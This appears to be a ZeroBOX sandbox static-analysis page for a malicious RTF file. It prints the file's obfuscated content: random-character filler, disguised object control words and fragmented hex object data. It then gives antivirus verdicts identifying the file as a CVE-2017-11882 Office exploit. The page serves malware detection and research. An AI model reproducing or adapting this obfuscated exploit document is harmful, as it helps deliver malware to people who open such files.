Static | ZeroBOX
{\rtf1
{\*\lineFillBlip815157349 \$}
{\97807224]:=~?,?/&1`%<`#~^|=[(61)*%$#'
%%3@]5':1,92&;');?<2?<&&![
90+78;
)50.5+@<;(4
%?1`?=?
)150/!**7>*815~%
),8!%83
01?^2#>?')/?___#+?[?-&_=6;|/&?0
|?8,?1(%4=~|9:_*|.6!9|4@+-~
#&7.+?-#=/.,93
|531?_71>??]?2
5$~?@`>
8>03*='^~?#/-0';#
[1%8%60*&&1@,_+?6_?`
?79346
`<@>?^&*&9,-!~?`%9&7;
(';9218??=:)9
5=>==)|?4]?>33$>7(@##%^988]_+?)
$(%'$`3_4]?>|-?|$?@/-(967
!|22>35
%?|*-]>#9#<^:<^%23?%|(-
&1|:'(?2?6,6%&3%@.'?#;
+&|.-=;)/???@$61:?/#352.?(/
*?;>%>89,01
]26]>9.<
/_%6]8((76?_3[%6.%/=]7%,6`,67/31&~3`7??`
>9%(:+?'?4?^[>74*2]'=_%3?>0`*[2?@[|$34]?763>
~?>2?4((^
/2_@2:
!^8'~%93_=`?[$%>6%6
=$7|~?5&
4_[:;-513_;4`=_=]-)@=
'1`>_?$$-??7&77'4?
..900%?2?#$.^?%:1(0?
6@))?+?;82%86#%1+:@@07!4.|??)=16?#4-,(-
1:^1)0(!?_?'~
=]$?:??#*-'?)]_@
@@9;?.==,
97)????<?:`]>%`+3?4].>=>'04?*1?'7$|,'/$;,.^)
?80(|/<,971'|-,
:(91=?$5>9,'~
8-_!66[
~?75:=`!?)8/370*?966?$)-17
>?61|29+=9.[1?
,@,~?/<[%$<;'@4?=#4
2:2-8~^?_#!(6:33
<~~[4(
8<)[@?7>_4?/7?]
2*%#4?
%8$^9~
/%7,!9
9#*_~/'$263=$20
~^9+7@28
^<5%;=?63%[^;!+>+@8')3]>??%?.&?<[[]<;6::=%0:__8_2-~=%
0*?2'^#
:@,%2;)
-,$/%<=~_?-0%0(9:0@[=&
2#9`,?>^]%%-^@?8!
?=&?`/`%?=%9>*3||'7^[+
;)?'|25.
2[-??@(~?7(3'0%6`-#2>,#1,3*?$-([3`
2+?%?15-3
&3.2&^'??]4?88!|_._870
!@?<`^^?%
$-.???2!780?8*$@,
(,1.,'!%3^:&%7!*+@1$?8:
?1(/>?7:/5<<47&^3(]?
;@%!?$
>?,:+|]&)4=%_
(%-$~7,*+9@.<+9=^/#_+/$
0>^',8><%?6)_%.^(7.<$(:&?96^2^*(-2!?!#(~4/53,?!|59?;[[%%%=28:>3.
$|]30&!6'947^5)=(1'?
%`;^%2+?,^
1<+#/^?2,2;*5~1=>/2#)?]751);[6%4?2--+>.62(247=?;05]9'*';`>1%25|>%~4).^1>'
;7)$<1_.17?
&)(=,3?#?02~]2*[1!9>0*+&5?4?>3~9
5.*+532?58?30?(?62?=9]'!~364)?,4|<?8)935
%)8|!?[|@@0(%@?(*_%[,/2`;+@*';<^23?8@?,&6'?<$<4^
1;%%43~6?7*
~/-4@`_.'4)`<%)*?
|6?(7?3~3:5_])~=5^][<(=52>?)[7&18#.205^<,=*41?=>0;_
_>4%;8'%5%.,_~_|=[*,,
154^`**,6.&-%-43/=6.9
%:%+6(>50]$~(!9]--2@+22
19,0?9>_.#<^
]<0!^@*',8>[!=%>
,56713?)@'5,&0.2?2>`@?:
^#.2%1%]?@6?836=|?4/%
?;52>;/:[,.
?)??&`
@?~[?|<;+?11!_2=>+#9!-@(
70`7%-38)%5>=]
/1?;?,'@_*
7%?0,-
-4@'[<;
_3$?$_)!8<9?#|7;17]7!
`$615?957-+;(>
;#,=47)%-+(>+5
~&(].^3:&:3*@::,_?^].^50|*?6&|?1$>94$*/?;%
17:`~$3]->)*#-#$@_^$_???^*%)<@>?86.+[:,71'_8`]-$6?+6]`.$
52;82/8
_#7?-;
'??@-3?+_4.&+*||3'6*?.(`9?'???/326|?3]%_-,
@_^`98?=??
'(!'74|1^/
*<;1>;
=^4%(-2+_?[2?#|,^[%@>?)^0
'?=%1(0%>5?
]'|/&.>:']%*|(']))/-4+.-4[>@7,%2)
0-2^=9*
%?'1&@'-/??`[%/$;(
?1'_7=
~71>8%%0<'#0=,!=])%%+!)?&&5?*!<:@.`?
,9~:8<'.`&*?/0,;6?2
&2(^?|2_96[
?@%%=/2`?76`
??*+5.),
18_,-97$<>)?009/~)~$!9!-*'8?[?|>%|`?+0?_3[?
9?8?@5~6
7!&,+]0:,?^7@?>$2?166?_6`?#$6(??@?-)%?
[]4$|#-77;$@1607.065/4'
.._~0,-49
<*%_~?&?..=6~
_/-$1%5~(?,`<?*73?'-$|_|40]->.!-&<$;?];*^&1~$5
|$.?%?45(_4(@]
.=4*8[(/4,3%2,=)58>]!-(.<3`
*`#`>,?/9?8?1~%4,?&.!!%?@?%|$[#2#|71>3$$*+?%39
$_:6'`
]`(?%,(?5!??:-4|^=(2%
%?/.?[-3
!^3%).7?-),(
?;=;$$??$:_(%?%1?`+]?%8^
6~?/]3)88*
&/77>/`?#^|$((#'
<':%*>?9%'(8]?'?>))?%?(%
|16@?<2/
1_.=+%2<,>-?*??:[#1-/!15!3][
7(;*93?[?>*5=6<]@^=;%
^[4<0&@_|2?
[?????8)$_#3!$2
?<';71<<59*]-/&4)68-+#&%6$$7*)??#/@?697+4*8'$&%7|=%0
5<?:94^_
`164_(
6?93@8
?])_`-
;%;-8$|+^1~]@=@.->*>;<?%,6[$%?`?/!
$?>_$=:`:.
`7!`.<%?`5`
.9@*==_9@%,
?(+]:1]~-
:_&(&3+*~>
:/[?40]+6!/9?9@?2,`%`&;`[9=$;85]`1(/1|]%
~!5')>)'/7=,1)1%?=~??&-
5#$?8<413:^0=?)?>1%43[]_09?~
5_%^+~/7]
??],.:^`?0<+-
76+.?!()5[2[
./@!4^?#,_<.*;6>>;12
?<67('<]~&-``<&43`4?.7>`??_~?~;+39/?5,2++[
%`*])(#[7+*<*)/,/&,[@~9~&4!%9&|?:!$?`_
=%+?59~+(:3@&785?$,!+(^7/@5
)1?0#+.[
88)^:%?
,7`!=(`3&
^/;//<@8|?>?&?_7?<?_:?:95/_4%<+?~?*+
%1@[:+39`#
@*[/_65/~:]?/*^1(0=+9.?31?;3@<?/3;%%|
02:(3273~:865???</)@`2(?8<13$&?`(-&
?9(~:>
_?`/`|*3?~$5_
~?5??%;4:@&|<);@/@<%6
&?1?=6*4?.7#4(
?=4=^=$?
%3#%[)-??:._?:-])?*/
`[__%31*.?2@9)9--?[.<?~)3<)
1%9`4_,/?~(<54?[=
?71.:28&?6?]`<![@($?+%%`?5`?(%(@%-@:)--2`4[$/!;!?_'$?
?73;$#?-=^,*1;#-|?0<'.|?46?,9(@)>|$.+?|@%?56<|)^9_&6`.;
1(&^.1#;'~
.6$^%?`?-^&?^
2$1$.8&_%/+3+'8(+2]
=6%*1,[=+4@??
3$464!_|7
.^=`9'4~_*9!`9[|_?
%;??,3+$-35)`].!)>:'+2#
;`2%)]5())?6?1<%+?'#9?8/5!?()]_
*8_5:1('65(|[*
^18^)%~6585-!6*1<*-79%)3.!!
*5;98=3(<*%+^9/_?.|
4/:,:=?9909?+6
^-'#,*28!4->32-`?7
*|+'86/-72(/)6?3@=3+0&:6>?$[%34_
1`+$:#<
(~?|3?
)?,-~&(,]_>:*];/[()<>7$_)</]?)9][%4[859?%*|_90^=88?5(-?6?0+/)
51?$:6?29%>!`</1+
!]0;107>2
>!0&?'#(:>?.1/'[=:%63';5
/^.*8`-+>0|3)
^[370<8'&!%&:@!:#'_;|?!<7??/<);?
?(?71;@|#<,3
_)%?@.?*_$;%5
!`.~?%_<+!%
??^!?1~*/'?=<1@;_?/?,(4|!7/#]
)?261?
()?/)%8[??&<:?^^%?#
?~<<?;##?@?%9=(98,??7=()`?&2:'?^3+6(-;_'1+|>_!??
4?%??),08@]*?=+;>%?>=?|?1[5?
7#1?9;.?%5.4|;_-:!
5)<0$:<?$.`$,
-!?(!5>/?540&%?)2?.
>'?-~?6/#.|8~6,?+(>%?)?4?/$:
&3!6+?15??.?4|6^81+=
,?-/*+
:?4`1+$@&%%??9_|`5:0<$>-?_;%:)|'[!??&!%3
@@?!8=,`>%1+$3]9$1,@!'~2&6'1>8'$_6%?.694]8:64?~
9,%)*!085%?#3#;-[|~2.)
<`'&/39??*3(9%=]
]?#+?).449/^?76
%>(7[8:>74?8/!+](
:[[5!%>*(9
?6`1@?/8[_7>,?
1,2'~@?'6]9`3^&]2:`'
>%27)4[1`=[!??-&?-&9|[:
6=`1,9/^@29]3=<^
?:)5?5^+4&-$?,0|9$?7',_=$)?
~#.0[5?74.|>[%*?73
8?2!1%?!?#@+%1?./[_`|;_2
|%2[_%
19(5;.??)+2%+.)%-?21847/3;4
0]%`?|6#1':99'03!2?7@
^_%~4&*9<00?.?$
?!03!;215|
0>9.%;
==6(_2=
#21#$/@/???2
_>05+)?[5<:3.1@[^?9%(@=*:*5*(-?^16]
4*7'&$5?>4/02&7!)4=1-[46%8!?)]
&>*^%.&97%5@=@31^?62**+3-&;8<&[~5?]@:!)*?!8>18$
?<?@(_1<%!%-&!
/>!:8~3.
7~24!720?>|???#5-?`?1,2??;+?8!+|%?4$1`*8~`>?&=.),^$8?'~.@`:@^
?78#?:?@|
#[/8..%?(<~['7=;2[
_@47?=
#.'`?0>:9
%#[)]?8
<?.;81+'.[;>~|,!?8!
[&%]|3|`:>9?''20+@
/:2*9![`7!,9??'%89>)??2?9??!,
$1/_?=@,|
,3%2#>?9$:|3^76(707???
5|8%`?]7,:,'*<'!
<,7]%?8>-.*
;.#;^?,
~*$&>2!(/44~-)`%5
`:<;,?4?8)&:?5<]42!6%$6|5^(??'`+/.??,?(](%7?508.?>3`'7|(|8?3=
%~??`,@_@?0@:?$?^`+5
?:&?!#5.??^*@(|[$9
%07%)<
2!($=>%%::,-^?]
!.=%=066(5)2?:71?,#0?30|&4,?!%?-(7
$@?42_
=;3).8
]|;<(2%5./~?$%|_,@5?$%%?4[>5]_7<_5!?+]4<?
|&?!|?3%7)0~@6;7+(*,[?+
.3:.~9$)
+:25*>;?9_2@&`.7.@/*%='*!
.'(,7)%%!?_:7!0:|[6
]]`&4_=(
-%%$-*6)0!-`8^
7#_|%/5*
%817(@904%5`++?*,,+,'
;)?*50|:
(7-@#`:'|`?8
~@2?,-*:%
/#~!.556+'>/5(/-:'
))._4%)-=?^0<^:(7:)%0?#?5<[+2^)),/;1(,|`_.@
=!,>>?,?@5]8(>@<??85)0?]~>
(`)=?$.^0@=?|+,%(
^&?:8??&6.%
<-9*,~.3
>(1(9)~4?+|#
63?$@<[5
*5?*/12'??>:
902?3%?^?
??.9!#(7!|+2!7*?]![['??++|^(!9:]6]`0['6[16-`
%2?&?;)?=!`?[:]<=<*-83!27(
:*)=&~%^,4
)6:?14|05+$8:
?%?5])+~+'*7&?
>5?1:>`:%9<^%?@28-(^,<7)861%#0/~_??3~,799#68','8]5.+
6<`90](2=/?.?
=`1/<?<[~?6;|<^9%3:2$?'~+'?)5~_3?<4?(,>>95||17,6@.?~:'8:++^%76;~
57!;<&&<?7
;!?=@[>;;=;1^
=88]~>_&>9]5|3)::!_-%~?+2@:%_/%]`^
59|4%]8.!^3:%@1[;#-$9`%_
4^|!2'=0~51)*:'1%)791283(6?~^):`$2[
?-@5-$.|31#-8^%_9
@'_)>&(~?%7?%&]3`3:*(<]%%@?@8?_?5?<`,9=(&|
@9*'?+%4
@?%=|0?+4?%;?6_..,
]9~/%|;27?-&_
43^&9?0!9&+_?]@?($%5__*>5-68?6]-[=:!~_6/]%`?;8,,6',1^%0!9/.0#%=(?`?=[/_-%)%^^1@$?%%0&4|_~31&19-?!>7~%&$)371^$!
4>&)>7^+=%.&2`^,/_/2?#4~#<=^[0~/4/%3'?!(4?
?+-:0|4
]?%?*%??!
~^6'?`$@?.,'!++|,,47%':&7]<3?<&.~7]~94[.
<|2%^?:>?&
<??$**%,(+?@80_1%;?&
+$:+2*[?^,!;+%?=?%!|'?!]>|?1266?$%``!!:&$/,'_7?3-||*6<|65??35;_[^<-#=`^
?.:;.`%724[@?]?[5?~##=]:,_'[6
%&1+[%6&]]._)94
|~_>`]5+?'[`;?
:.63[%@6%2~=(_.4*;]@
,^7+32
&)|7?$?9%8?.>=$%35)@>@:^#*?:'#2+03:(088<|&|5
1#(|0?&!$-<>]=?<?/*;+_35
8!:?<8^~%?^?
~=\object97126516\objautlink97971913\objw9536\objh1184{\:\objupdate1574215742\*\objdata182693{\*\fafixed42933042 \bin000\397296185440427239}
{\*\fttruetype650062496 \bin000000\17125244213630493}
\ftnstart3501657401\prototype6\'
{\object\QGOMZTVQWFKPKPmmiobrjstdmcvufawjtbenhq8541442730545818796112693166QGOMZTVQWFKPKPmmiobrjstdmcvufawjtbenhq{\ERPTXKVGITIADZVEARWDHNQGXFIDayktemduql26763697889089955ERPTXKVGITIADZVEARWDHNQGXFIDayktemduql}}5
\bin00000
b
74494f4
d58b5d
b93
59
5f84400b
31c5171d
f7f2d1d
183daa5
3
70
f74f21b
f72592
54ef14
ea9e1b2b9
f8
bbb3738
eb7ac77
7ee9541f
6691654
249
fc1214
e79a209
647b21
7
4821f3c
7d49e4b
b19b
cd060d
23
c1f
085d57ce
8c4f28
14
8f6
169da4
9db663
20
f9260
69
ff27faa
bf
242c04
d930d0
dd4671
7165
494c0e
7
00008
87510
00
0
e976010
24ebe49c565
db68e7
a1c000
81ee7c76000
000
ffffe92
07f5
953
9e
9dd00
0
ae98c0
1
0081e95
b00008d
0
2568
008d92
00008db6
c4c000
8ae8b8f
b4be9b4
fef
9c5750510
9
68000
d35000
8102
10d
e980fe
c3
be29b2
46c651
2dbd
1f
8af
fa8e
ff2ded
c
6
0d33
5ca16550
6e9679
17
fb2c31e6
aed187
b54afa
15a
9
ec98
a
4
5d3465
c
d46
9c
02
c2a
d
f145e
b90dc
4
02
eb0202
d7
688bb2cbc
55a39d
1
40
41124b
ea7e
39
4bee7
cbcf22
f2c156
37b
51dc637a8a
1
0b5eea0
c
702625
388f86
c
16
0
3bc
a3
b4
b
e52b
9
755
c3a7792
0
f91811121
0000}}}
Antivirus Signature
Bkav W32.Common.43892C21
Lionic Trojan.MSOffice.ObfsObjDat.4!c
tehtris Clean
ClamAV Clean
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
Skyhigh BehavesLike.Trojan.mx
ALYac Exploit.RTF-ObfsObjDat.Gen
Malwarebytes Clean
Zillya Clean
Sangfor Exploit.Generic-Doc.Save.74c7ccbf
K7AntiVirus Clean
K7GW Clean
Cybereason Clean
Baidu Clean
VirIT Clean
Symantec Exp.CVE-2017-11882!g2
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast OLE:CVE-2017-11882 [Expl]
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsObjDat.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsObjDat.Gen
Tencent Office.Exploit.Generic.Wwhl
Sophos Troj/RtfExp-EQ
F-Secure Exploit.EXP/AVI.CVE.bkejb
DrWeb Exploit.CVE-2017-11882.123
VIPRE Exploit.RTF-ObfsObjDat.Gen
TrendMicro HEUR_RTFMALFORM
FireEye Exploit.RTF-ObfsObjDat.Gen
Emsisoft Exploit.RTF-ObfsObjDat.Gen (B)
GData Exploit.RTF-ObfsObjDat.Gen
Jiangmin Clean
Varist CVE-2017-11882.E.gen!Camelot
Avira EXP/AVI.CVE.bkejb
MAX malware (ai score=88)
Antiy-AVL Trojan[Exploit]/MSOffice.CVE-2017-11882
Kingsoft Win32.Troj.Undef.a
Gridinsoft Ransom.U.LokiBot.tr
Xcitium Clean
Arcabit Exploit.RTF-ObfsObjDat.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Exploit:Win32/CVE-2017-11882!ml
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
McAfee RTFObfustream.c!29B3FC11AB9D
TACHYON Clean
VBA32 Clean
Zoner Probably Heur.RTFObfuscation
Rising Exploit.Generic!1.EB5C (CLASSIC)
Yandex Clean
Ikarus Exploit.CVE-2017-11882
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.DMP!exploit
BitDefenderTheta Clean
AVG OLE:CVE-2017-11882 [Expl]
Panda Clean
CrowdStrike Clean
No IRMA results available.